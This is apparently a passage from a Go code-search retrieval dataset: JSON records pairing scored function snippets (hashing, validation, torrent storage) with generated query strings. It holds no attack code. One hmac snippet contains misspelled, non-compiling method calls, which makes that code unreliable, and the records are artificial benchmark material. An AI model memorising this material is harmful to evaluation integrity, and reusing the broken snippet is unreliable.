fnv1a.HashString64(strings.ToLower(path))\n\n\t// encode to bytes\n\tb := make([]byte, 8)\n\tbinary.LittleEndian.PutUint64(b, h)\n\n\treturn b\n}", "title": "" }, { "docid": "76d4f43e9eab2c91d4a28607ef7412a3", "score": "0.49096987", "text": "func hashAFile(filename string) {\n\t//fmt.Printf(\"Hashing %v...\\n\", filename)\n\th := sha1.New()\n\tf, err := os.Open(filename)\n\texitOnError(err)\n\tdefer f.Close()\n\t_, err = io.Copy(h, f)\n\texitOnError(err)\n\tfmt.Printf(\"sha1-%x %v\\n\", h.Sum(nil), filename)\n}", "title": "" }, { "docid": "e8b212112e8b387dd42429f072e6a5da", "score": "0.49066263", "text": "func (obj *file) Hash() hash.Hash {\n\treturn obj.immutable.Hash()\n}", "title": "" }, { "docid": "a50bdd8f254c3f7f088ea7cf1fbd238b", "score": "0.490634", "text": "func computeCommitHash(repoDir string, git bool) string {\n\tbuf := &bytes.Buffer{}\n\n\tif git {\n\t\t// git cat-file tree \"master^{commit}\" | git hash-object -t commit --stdin\n\t\tcat := exec.Command(\"git\", \"cat-file\", \"commit\", \"master^{commit}\")\n\t\tcat.Dir = repoDir\n\t\thash := exec.Command(\"git\", \"hash-object\", \"-t\", \"commit\", \"--stdin\")\n\t\thash.Stdin, _ = cat.StdoutPipe()\n\t\thash.Stdout = buf\n\t\thash.Dir = repoDir\n\t\t_ = hash.Start()\n\t\t_ = cat.Run()\n\t\t_ = hash.Wait()\n\t} else {\n\t\thash := exec.Command(\"hg\", \"--debug\", \"id\", \"-i\")\n\t\thash.Dir = repoDir\n\t\thash.Stdout = buf\n\t\t_ = hash.Run()\n\t}\n\treturn strings.TrimSpace(buf.String())\n}", "title": "" }, { "docid": "bad646f754ac7c90ada0098687f970a7", "score": "0.49057856", "text": "func hashSum(disk StorageAPI, volume, path string, writer hash.Hash) ([]byte, error) {\n\t// Fetch a new staging buffer from the pool.\n\tbufp := hashBufferPool.Get().(*[]byte)\n\tdefer hashBufferPool.Put(bufp)\n\n\t// Copy entire buffer to writer.\n\tif err := copyBuffer(writer, disk, volume, path, *bufp); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Return the final hash sum.\n\treturn writer.Sum(nil), nil\n}", "title": "" }, { "docid": "09b66bec2104af4b6b0e408bd585760d", "score": "0.49052596", "text": "func (s *SignedAggregateAttestationAndProof) HashTreeRoot() ([32]byte, error) {\n\treturn ssz.HashWithDefaultHasher(s)\n}", "title": "" }, { "docid": "a9b7dbfe13a255fadd398dde57790f4a", "score": "0.49022397", "text": "func (stx *stateTX) Digest() (hash.Hash256, error) {\n\tif !stx.finalized {\n\t\treturn hash.ZeroHash256, errors.New(\"workingset has not been finalized yet\")\n\t}\n\n\treturn hash.Hash256b(stx.flusher.SerializeQueue()), nil\n}", "title": "" }, { "docid": "7303732d78f84a797dd9563714f96c6a", "score": "0.49007383", "text": "func Store(data parser.MetaInfo) (err error) {\n\tvar t repository.Torrent\n\tt.Infohash = data.InfoHash\n\tif len(t.Infohash) != 40 {\n\t\treturn fmt.Errorf(\"store infohash len is not 40\")\n\t}\n\tif data.Info.Name == \"\" {\n\t\t// fmt.Println(\"store name len is 0\")\n\t\treturn fmt.Errorf(\"store name len is 0\")\n\t}\n\tt.Name = data.Info.Name\n\tt.CreateTime = time.Now()\n\tif len(data.Info.Files) == 0 {\n\t\tt.Length = data.Info.Length\n\t\tt.FileCount = 1\n\t\tt.Files = append(t.Files, repository.File{Name: t.Name, Length: t.Length})\n\t} else {\n\t\tvar tmpFiles files\n\t\tif len(data.Info.Files) > 5 {\n\t\t\tfor _, v := range data.Info.Files {\n\t\t\t\tif len(v.Path) > 0 {\n\t\t\t\t\tt.Length += v.Length\n\t\t\t\t\tt.FileCount++\n\t\t\t\t\ttmpFiles = append(tmpFiles, repository.File{\n\t\t\t\t\t\tName: v.Path[0],\n\t\t\t\t\t\tLength: v.Length,\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t}\n\t\t\tsort.Sort(tmpFiles)\n\t\t\tif len(tmpFiles) >= 5 {\n\t\t\t\tt.Files = append(t.Files, tmpFiles[:5]...)\n\t\t\t} else {\n\t\t\t\tt.Files = append(t.Files, tmpFiles[:]...)\n\t\t\t}\n\t\t} else {\n\t\t\tfor _, v := range data.Info.Files {\n\t\t\t\tif len(v.Path) > 0 {\n\t\t\t\t\tt.Length += v.Length\n\t\t\t\t\tt.FileCount++\n\t\t\t\t\tt.Files = append(t.Files, repository.File{\n\t\t\t\t\t\tName: v.Path[0],\n\t\t\t\t\t\tLength: v.Length,\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\terr = utils.Repository.CreateTorrent(t)\n\treturn\n}", "title": "" }, { "docid": "8288683e4c96a80174c3355da6d08b02", "score": "0.4889018", "text": "func (s SampleList) Hash(idx int) []byte {\n\tname := filepath.Base(s[idx].Path)\n\thash := md5.Sum([]byte(name))\n\treturn hash[:]\n}", "title": "" }, { "docid": "388c8a31b107b4d8f168911b2046b73f", "score": "0.48879075", "text": "func Hash(tag string, data string) string {\n\th := hmac.New(sha512.New512_256, []byte(tag))\n\th.wirte([]byte(data))\n\treturn hex.EncodeToString(h.sum(nil))\n}", "title": "" }, { "docid": "a9b96065f5b186904a69a32c78b5260a", "score": "0.4887729", "text": "func (p FileDigester1) MD5All(root string) (map[string][md5.Size]byte, error) {\n ts := time.Now()\n defer func() {\n fmt.Printf(\"FileDigester1.MD5All() execute time: %v\\n\", time.Now().Sub(ts))\n }()\n // MD5All closes the done channel when it returns; it may do so before\n // receiving all the values from c and errc.\n done := make(chan struct{}) // HLdone\n defer close(done) // HLdone\n\n c, errc := p.sumFiles(done, root) // HLdone\n\n m := make(map[string][md5.Size]byte)\n for r := range c { // HLrange\n if r.err != nil {\n return nil, r.err\n }\n m[r.path] = r.sum\n }\n if err := <-errc; err != nil {\n return nil, err\n }\n return m, nil\n}", "title": "" }, { "docid": "f0ceed205850335e8f33c9f355a29514", "score": "0.48862076", "text": "func (node *Node) Hash() common.Hash {\n\t// Short circuit if nodehash is already cached.\n\tif node.Nodehash != (common.Hash{}) {\n\t\treturn node.Nodehash\n\t}\n\t// If it's a leaf node, derive the hash by the entry content.\n\tif node.Value != nil {\n\t\tnode.Nodehash = node.Value.Hash()\n\t\treturn node.Nodehash\n\t}\n\t// It's a branch node, derive the hash via two children.\n\tleaf, right := node.Left.Hash(), node.Right.Hash() // Both children should never be nil.\n\tif bytes.Compare(leaf.Bytes(), right.Bytes()) < 0 {\n\t\tnode.Nodehash = crypto.Keccak256Hash(append(leaf.Bytes(), right.Bytes()...))\n\t} else {\n\t\tnode.Nodehash = crypto.Keccak256Hash(append(right.Bytes(), leaf.Bytes()...))\n\t}\n\treturn node.Nodehash\n}", "title": "" } ]
1ea9147d72f1128d0ac4e55eeaf8e51f
/ polymorph PostUniverseNamesOKBodyItems0 category false / polymorph PostUniverseNamesOKBodyItems0 id false / polymorph PostUniverseNamesOKBodyItems0 name false Validate validates this post universe names o k body items0
[ { "docid": "7082714f79c88492d1ca9fe22df6e2e6", "score": "0.6496653", "text": "func (o *PostUniverseNamesOKBodyItems0) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateCategory(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateID(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateName(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" } ]
[ { "docid": "280b517ccc260ae607a8bc61937dd343", "score": "0.5078983", "text": "func (o *GetFlagByNameBatchParams) validateBodyBody(formats strfmt.Registry) error {\n\n\tbodySize := int64(len(o.Body))\n\n\t// minItems: 1\n\tif err := validate.MinItems(\"body\", \"body\", bodySize, 1); err != nil {\n\t\treturn err\n\t}\n\n\tbodyIC := o.Body\n\n\tvar bodyIR []string\n\tfor i, bodyIV := range bodyIC {\n\t\tbodyI := bodyIV\n\n\t\tif err := validate.MinLength(fmt.Sprintf(\"%s.%v\", \"body\", i), \"body\", bodyI, 1); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tbodyIR = append(bodyIR, bodyI)\n\t}\n\n\to.Body = bodyIR\n\treturn nil\n}", "title": "" }, { "docid": "e6ae255a7500a0d1e100fefbd6eecb7c", "score": "0.49830332", "text": "func (o *GetCharactersCharacterIDBlueprintsOKBodyItems0) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateItemID(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateLocationFlag(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateLocationID(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateMaterialEfficiency(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateQuantity(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateRuns(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateTimeEfficiency(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateTypeID(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "64d39018382e1ad8964bac59380b78fa", "score": "0.49210513", "text": "func (o *PostUniverseNamesNotFoundBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateError(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "cb4eeab70fffbb147cbd161a29fa329b", "score": "0.48586032", "text": "func (m *GetCharactersCharacterIDMedalsOKBodyItems) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateCorporationID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDescription(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateGraphics(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateIssuerID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateMedalID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateReason(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStatus(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateTitle(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "fb48b59132a1868320b8c0f1f3191c36", "score": "0.4780522", "text": "func itemsItemForTypeName(typeName string) *v3.ItemsItem {\n\treturn &v3.ItemsItem{SchemaOrReference: []*v3.SchemaOrReference{&v3.SchemaOrReference{\n\t\tOneof: &v3.SchemaOrReference_Schema{\n\t\t\tSchema: &v3.Schema{\n\t\t\t\tType: typeName}}}}}\n}", "title": "" }, { "docid": "8d7fd799045b7e5eb25a43cef0465225", "score": "0.47732827", "text": "func UpdateItem(w http.ResponseWriter, req *http.Request, params httprouter.Params) {\n //ID := params.ByName(\"idTag\")\n var i Item\n err := json.NewDecoder(req.Body).Decode(&i)\n defer req.Body.Close()\n if err != nil {\n http.Error(w, err.Error(), http.StatusInternalServerError)\n return\n }\n if i.IdTag == \"\" {\n http.Error(w, \"Please set ID TAG in User information\", http.StatusBadRequest)\n return\n }\n err = NewItem().Update(i)\n if err != nil {\n http.Error(w, err.Error(), http.StatusInternalServerError)\n return\n }\n w.WriteHeader(http.StatusOK)\n}", "title": "" }, { "docid": "2426b11fead8fad3bc3ad3d4a89d4f65", "score": "0.47382995", "text": "func (mt *RegisysItems) Validate() (err error) {\n\n\tif mt.ItemName == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"item_name\"))\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "2f665d9524e0c0e84a57f206f891909a", "score": "0.46690053", "text": "func PostItems(r *http.Request) (int, error) {\n context := appengine.NewContext(r)\n decoder := json.NewDecoder(r.Body)\n var wrapper ItemsWrapper\n err := decoder.Decode(&wrapper)\n if err == nil {\n formatted, _ := json.MarshalIndent(wrapper, \"\", \" \")\n log.Debugf(context, fmt.Sprintf(\"%v\\n\", formatted))\n count := len(wrapper.Items)\n return count, nil\n } else {\n return 0, err\n }\n}", "title": "" }, { "docid": "d0fccddb97a750db68aa057bf8034f2a", "score": "0.46640787", "text": "func (m *GetMarketsPricesOKBodyItems) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateTypeID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ccb08a6435f1b1bc328ec9315ca09775", "score": "0.4640682", "text": "func (o *ImageSearchOKBodyItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "b800ea5c775d89d5fcc9a42f0a6c59a4", "score": "0.461896", "text": "func (i *Item) Name() string {\n\tif i.ID >= len(definitions.Items) || i.ID < 0 {\n\t\treturn \"nil\"\n\t}\n\treturn definitions.Items[i.ID].Name\n}", "title": "" }, { "docid": "4560213211aea25760d665c1e41f36df", "score": "0.46072745", "text": "func (o *GetTransactionsOKBodyDataItems0) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateAmount(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateCurrency(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateCustom(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateDateCreated(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateEvent(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateGateway(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateMethod(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateOffline(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateStatus(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateAvsResult(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateCreditCard(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateCvvResult(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateDateCreated(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateGiftCertificate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateStoreCredit(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "075c5d2a19de92bfd32881ec33cf69fc", "score": "0.45720077", "text": "func (o *PostV2DocumentsDocumentIDEmbeddedInvitesCreatedBodyDataItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "f5d7092924ec75820bc73b9051478ffe", "score": "0.45558935", "text": "func post(body string) (item, error) {\n\t// Create the dynamo client object\n\tsess := session.Must(session.NewSession())\n\tsvc := dynamodb.New(sess)\n\n\t// Marshall the requrest body\n\tvar thisItem item\n\tjson.Unmarshal([]byte(body), &thisItem)\n\n\t// Take out non-alphanumberic except space characters from the title for easier slug building on reads\n\treg, err := regexp.Compile(\"[^a-zA-Z0-9\\\\s]+\")\n\tthisItem.Title = reg.ReplaceAllString(thisItem.Title, \"\")\n\tfmt.Println(\"Item to add:\", thisItem)\n\n\t// Marshall the Item into a Map DynamoDB can deal with\n\tav, err := dynamodbattribute.MarshalMap(thisItem)\n\tif err != nil {\n\t\tfmt.Println(\"Got error marshalling map:\")\n\t\tfmt.Println(err.Error())\n\t\treturn thisItem, err\n\t}\n\n\t// Create Item in table and return\n\tinput := &dynamodb.PutItemInput{\n\t\tItem: av,\n\t\tTableName: aws.String(os.Getenv(\"TABLE_NAME\")),\n\t}\n\t_, err = svc.PutItem(input)\n\treturn thisItem, err\n\n}", "title": "" }, { "docid": "512db964765cc6dc7711cc49d80a3217", "score": "0.45542547", "text": "func (m *GetCharactersCharacterIDBookmarksOKBodyItems) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateBookmarkID(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCreateDate(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCreatorID(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateMemo(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateNote(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateOwnerID(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateTarget(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "110b1995615716d62dc2cb6748adfdc2", "score": "0.45476624", "text": "func NewItemItemsItemWorkbookTablesItemColumnsItemFilterApplyDynamicFilterPostRequestBody()(*ItemItemsItemWorkbookTablesItemColumnsItemFilterApplyDynamicFilterPostRequestBody) {\n m := &ItemItemsItemWorkbookTablesItemColumnsItemFilterApplyDynamicFilterPostRequestBody{\n }\n m.backingStore = ie8677ce2c7e1b4c22e9c3827ecd078d41185424dd9eeb92b7d971ed2d49a392e.BackingStoreFactoryInstance();\n m.SetAdditionalData(make(map[string]any))\n return m\n}", "title": "" }, { "docid": "8d586cd590b898f01893f06dfe2d6d22", "score": "0.45262635", "text": "func NewItemItemsItemWorkbookFunctionsBeta_InvPostRequestBody()(*ItemItemsItemWorkbookFunctionsBeta_InvPostRequestBody) {\n m := &ItemItemsItemWorkbookFunctionsBeta_InvPostRequestBody{\n }\n m.backingStore = ie8677ce2c7e1b4c22e9c3827ecd078d41185424dd9eeb92b7d971ed2d49a392e.BackingStoreFactoryInstance();\n m.SetAdditionalData(make(map[string]any))\n return m\n}", "title": "" }, { "docid": "52e2353b1ee135270731abee9b235b70", "score": "0.45102173", "text": "func (me TpegLoc03AreaDescriptorSubtypeEnum) IsTownName() bool { return me.String() == \"townName\" }", "title": "" }, { "docid": "a5989ce8674ddfe963886f75da09e94e", "score": "0.450309", "text": "func (i *GroundItem) Name() string {\n\tif i.ID >= len(definitions.Items) || i.ID < 0 {\n\t\treturn \"nil\"\n\t}\n\treturn definitions.Items[i.ID].Name\n}", "title": "" }, { "docid": "e4307990e6791e272c24d8bec3e11729", "score": "0.44937274", "text": "func (o *PostAssetCategoriesUnprocessableEntityBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "139c1dd96b5366177c1a4457dc6c02b3", "score": "0.44773364", "text": "func (o *CreateACartCreatedBodyLineItemsItems0CustomItemsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "1746ade5b8dc2dbf837c1f82103fe679", "score": "0.44738927", "text": "func is(item *ast.ObjectItem, kind string) bool {\n\tif len(item.Keys) > 0 {\n\t\treturn item.Keys[0].Token.Text == kind\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "f230e9d974446d83b50a22fa240a79f2", "score": "0.4473549", "text": "func (o *GetIPAMCustomerIDOKBodyItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "c6d5f942b7d685e45fa9ac0572a09a72", "score": "0.44704628", "text": "func (p *Parameter) IsItems() bool {\n\treturn p.owner != nil && (p.owner.IsList() || p.owner.IsSearch()) && p.name.Equals(nomenclator.Items)\n}", "title": "" }, { "docid": "ad0ebecc0d9567c48d3933aebf61f729", "score": "0.44682333", "text": "func (si SchemaItem) Validate() bool {\n\tif si.name == \"\" || si.typeName == \"\" || si.dataIndex < 0 {\n\t\treturn false\n\t}\n\n\tswitch reflect.TypeOf(si.iType) {\n\tcase itemTypeRefBool, itemTypeRefInt8, itemTypeRefInt16, itemTypeRefInt32,\n\t\titemTypeRefInt64, itemTypeRefUint8, itemTypeRefUint16, itemTypeRefUint32,\n\t\titemTypeRefUint64, itemTypeRefFloat32, itemTypeRefFloat64, itemTypeRefString,\n\t\titemTypeRefArray, itemTypeRefMap, itemTypeRefObject, itemTypeRefTime:\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "b8a549a7ce6814242ef2f211c6508f5c", "score": "0.44534057", "text": "func (o *ListUserOfOrgOKBodyItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "5ca33298592e81704d54131e34544c93", "score": "0.44462597", "text": "func (o *GetCharactersNamesOKBodyItems0) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateCharacterID(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateCharacterName(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c25b24ff41853d222a19de261935c8a0", "score": "0.4440015", "text": "func (o *CreateACartParamsBodyCustomItemsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "90e7d83a08064d5ccd82bb348793a203", "score": "0.44388896", "text": "func (h *Handler) verifyBody(body map[string]interface{}, str ...string) error {\n\tfor _, s := range str {\n\t\tfmt.Println(s)\n\t\tif _, ok := body[s]; !ok {\n\t\t\treturn errors.New(\"error: missing field: \" + s)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "217a1c235960e86d27c99c51adef1ee5", "score": "0.4432133", "text": "func is226AItem(itemCode string, additionalParams *AdditionalShipmentLineItemParams) bool {\n\tisRobustItem := additionalParams.Description != nil || additionalParams.Reason != nil || additionalParams.ActualAmountCents != nil\n\tif itemCode == \"226A\" && isRobustItem {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "36c7ead7938e7163a30403729aee5c68", "score": "0.44215637", "text": "func (m *CartLineItemUpdatePostCustomItemsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "b6d74bd5693df8d340a0e043df80a75f", "score": "0.43988895", "text": "func (o *VnicFcVethInventoryAllOf) GetNameOk() (*string, bool) {\n\tif o == nil || o.Name == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Name, true\n}", "title": "" }, { "docid": "0e4c5b59505d50637b4d5361e9b94b97", "score": "0.43971318", "text": "func (m *GetCharactersCharacterIDMailListsOKBodyItems) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateMailingListID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateName(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "bd5470266f239a902a52af870bfa29a7", "score": "0.43964517", "text": "func _requestBodyItem(r *http.Request) (item *Item, err error) {\n\tif body, err := ioutil.ReadAll(r.Body); err == nil {\n\t\tr.Body.Close()\n\t\tjson.Unmarshal(body, &item)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "6693a33e462ea99ee8b8c9ef495a5de9", "score": "0.4371825", "text": "func (o *WishlistsItemsByIDDeleteOKBodyDataItemsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "fec1d2fed2cbd6084365cb6204832169", "score": "0.4368791", "text": "func (m Tags) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tiTagsSize := int64(len(m))\n\n\tif err := validate.MinItems(\"\", \"body\", iTagsSize, 0); err != nil {\n\t\treturn err\n\t}\n\n\tfor i := 0; i < len(m); i++ {\n\n\t\t// value enum\n\t\tif err := m.validateTagsItemsEnum(strconv.Itoa(i), \"body\", m[i]); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d95c49669c99d27dc196987ba2d2f3ab", "score": "0.43613747", "text": "func postItem(client http.Client, item *gofeed.Item) error {\n\tc := struct {\n\t\tContent string\n\t}{\n\t\tContent: buildContent(item),\n\t}\n\n\tb, err := json.Marshal(c)\n\tif err != nil {\n\t\tlog.Printf(\"ERROR json.Marshal(): %v\", err)\n\t\treturn err\n\t}\n\n\t// Buil Request\n\treq, err := http.NewRequest(http.MethodPost, webhookURL, bytes.NewReader(b))\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\tif err != nil {\n\t\tlog.Printf(\"Error http.NewRequest(%b): %v\", b, err)\n\t\treturn err\n\t}\n\n\t// Send Request\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tlog.Printf(\"error client.Do(): %v\", err)\n\t\treturn err\n\t}\n\tif resp.StatusCode != 200 {\n\t\tlog.Printf(\"err client.Do(): non 200 status code: %v - %s\", resp.StatusCode, resp.Status)\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "7c133b12ced364a81f58f21dd4ac8790", "score": "0.43497655", "text": "func name(res http.ResponseWriter, req *http.Request) {\n if req.Method != \"POST\" {\n http.Error(res, http.StatusText(405), 405)\n }\n\n //user _id in hex\n id := util.GetId(req)\n if id == \"\" {\n http.Error(res, http.StatusText(401), 401)\n return\n }\n\n var post models.Name\n decoder := json.NewDecoder(req.Body)\n if err := decoder.Decode(&post); err != nil {\n http.Error(res, http.StatusText(400), 400)\n return\n }\n\n //check if name is valid\n if !validateName(post.Name){\n http.Error(res, http.StatusText(400), 400)\n return\n }\n\n //get notifications\n err := db.AddName(bson.ObjectIdHex(id), post.Name)\n\n //let ourselves know if something went wrong\n if err != nil {\n http.Error(res, http.StatusText(400), 400)\n return\n }\n\n res.WriteHeader(http.StatusNoContent)\n}", "title": "" }, { "docid": "be4f53396a6f849ef7310649f7497055", "score": "0.433293", "text": "func (m *GetSovereigntyStructuresOKBodyItems) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateAllianceID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateSolarSystemID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStructureID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStructureTypeID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateVulnerableEndTime(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateVulnerableStartTime(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "7405a302bb3c9cb0f5d2a83a621fb74b", "score": "0.4332367", "text": "func noMatchItem() ItemInfo { return ItemInfo{id: noMatch} }", "title": "" }, { "docid": "3d6fb6a8ddf57bd562ac5d925b6e2dc9", "score": "0.433176", "text": "func (o *PostProductModelsUnprocessableEntityBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "765ba9b6e40512d0268164c696606c0e", "score": "0.43310016", "text": "func (ih *itemHandler) PostItem(w http.ResponseWriter, r *http.Request) {\n\n\tvar item entities.Item\n\t_ = json.NewDecoder(r.Body).Decode(&item)\n\n\tlog.WithField(\"item\", item.Name).Info(\"Creating new Item\")\n\n\tif storedItem, err := ih.itemsService.GetItemsRepository().Store(&item); err != nil {\n\t\tih.httpResponder.ERROR(w, http.StatusNotFound)\n\t} else {\n\t\tih.httpResponder.JSON(w, http.StatusOK, storedItem)\n\t}\n\n}", "title": "" }, { "docid": "77211e8b961724587703a5426618e1fc", "score": "0.43261915", "text": "func (si SchemaItem) Unique() bool {\n\tswitch si.typeName {\n\tcase ItemTypeInt8:\n\t\treturn si.iType.(Int8Item).unique\n\tcase ItemTypeInt16:\n\t\treturn si.iType.(Int16Item).unique\n\tcase ItemTypeInt32:\n\t\treturn si.iType.(Int32Item).unique\n\tcase ItemTypeInt64:\n\t\treturn si.iType.(Int64Item).unique\n\tcase ItemTypeUint8:\n\t\treturn si.iType.(Uint8Item).unique\n\tcase ItemTypeUint16:\n\t\treturn si.iType.(Uint16Item).unique\n\tcase ItemTypeUint32:\n\t\treturn si.iType.(Uint32Item).unique\n\tcase ItemTypeUint64:\n\t\treturn si.iType.(Uint64Item).unique\n\tcase ItemTypeFloat32:\n\t\treturn si.iType.(Float32Item).unique\n\tcase ItemTypeFloat64:\n\t\treturn si.iType.(Float64Item).unique\n\tcase ItemTypeString:\n\t\treturn si.iType.(StringItem).unique\n\t}\n\treturn false\n}", "title": "" }, { "docid": 